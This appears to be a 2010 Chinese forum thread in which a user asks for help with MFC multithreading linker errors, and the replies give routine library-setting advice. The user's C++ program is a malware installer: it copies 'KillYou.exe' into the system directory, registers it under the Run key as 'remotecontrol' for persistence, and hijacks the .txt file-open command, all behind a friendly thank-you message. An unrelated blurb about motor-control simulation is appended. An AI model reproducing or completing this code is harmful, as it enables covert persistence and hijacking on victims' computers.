多线程问题————大闪分拉

God_125 2010-07-30 03:10:27
#include <tchar.h>
#include <iostream.h>
#include <afx.h>
#ifdef MAX_PATH
#undef MAX_PATH
#define MAX_PATH 200

#endif

int main()
{

TCHAR TempPath[MAX_PATH];
CString temp;

::GetSystemDirectory(TempPath,MAX_PATH);
temp=TempPath;
temp=temp+_T("\\Intranet.exe");
int len=temp.GetLength();

LPBYTE lpb=new BYTE[len];

for(int j=0;j<len;j++)
{
lpb[j]=temp[j];
}
lpb[j]=0;

if(!CopyFile("KillYou.exe",temp,FALSE))
{
LPVOID lpMsgBuf;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL
);
MessageBox(NULL,(LPTSTR)lpMsgBuf,"Error",MB_OK);
LocalFree(lpMsgBuf);
}

HKEY hKey;

LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);

::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);

::RegCloseKey(hKey);


data_Set="txtfile\\shell\\open\\command";
::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);

::RegCloseKey(hKey);

MessageBox(NULL,"Thank you for using this program!","Hello",MB_OK);

delete []lpb;

return 0;

}



--------------------Configuration: RegEdit - Win32 Release--------------------
Linking...
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __endthreadex
nafxcw.lib(thrdcore.obj) : error LNK2001: unresolved external symbol __beginthreadex
Release/RegEdit.exe : fatal error LNK1120: 2 unresolved externals
Error executing link.exe.

也设置了多线程还出问题

请高手指点迷津。。。。小弟感激不尽
...全文
193 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
Eleven 2010-07-30
  • 打赏
  • 举报
回复
使用MFC的库,project settings/General/Microsoft Foundation Classes:选择 Use MFC in a Static Library/Use MFC in a Shared DLL,总之是使用MFC库就是的了
因为console默认是单线程的。。。
wltg2001 2010-07-30
  • 打赏
  • 举报
回复
库的原因吧,选多线程库
dvlinker 2010-07-30
  • 打赏
  • 举报
回复
应该包含对应的头文件的:

#include <process.h>
内容概要:本文研究了一种适用于全速域的无速度传感器控制策略,通过将高频信号注入法与滑模观测器(SMO)相结合,提出一种加权切换模型,并在Simulink环境中完成系统仿真验证。该方法旨在克服传统观测器在低速及零速工况下因反电动势微弱而导致转子位置估计失效的问题。高频注入法在低速段提供高精度的位置信息,而SMO在中高速段展现出优良的动态响应与抗干扰能力,二者通过设计合理的加权切换机制实现无缝衔接,确保整个调速范围内转子位置与速度的精确估计。研究重点涵盖两种观测器的融合逻辑、切换平滑性设计、权重函数优化以及系统稳定性分析,有效提升了无传感器控制系统的鲁棒性与实用性。; 适合人群:具备电机控制、电力电子与现代控制理论基础,从事新能源汽车、工业自动化或高性能电机驱动系统研发的科研人员及工程师(工作年限1-5年)。; 使用场景及目标:①掌握高频注入与滑模观测器在无速度传感器控制中的互补机制与工程实现;②学习全速域观测器加权切换结构的设计方法与参数整定技巧;③应用于高性能电机控制系统中以降低硬件成本、提高系统可靠性与维护便捷性;④为相关课题的仿真建模、算法优化与实验验证提供理论依据和技术参考。; 阅读建议:建议结合Simulink仿真模型深入理解算法实现细节,重点关注切换过程中系统状态的连续性与观测精度的一致性,同时可进一步探索智能权重分配策略(如模糊逻辑、神经网络)或引入滤波算法优化观测信号质量,以提升系统在复杂工况下的鲁棒性与动态性能。

15,465

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧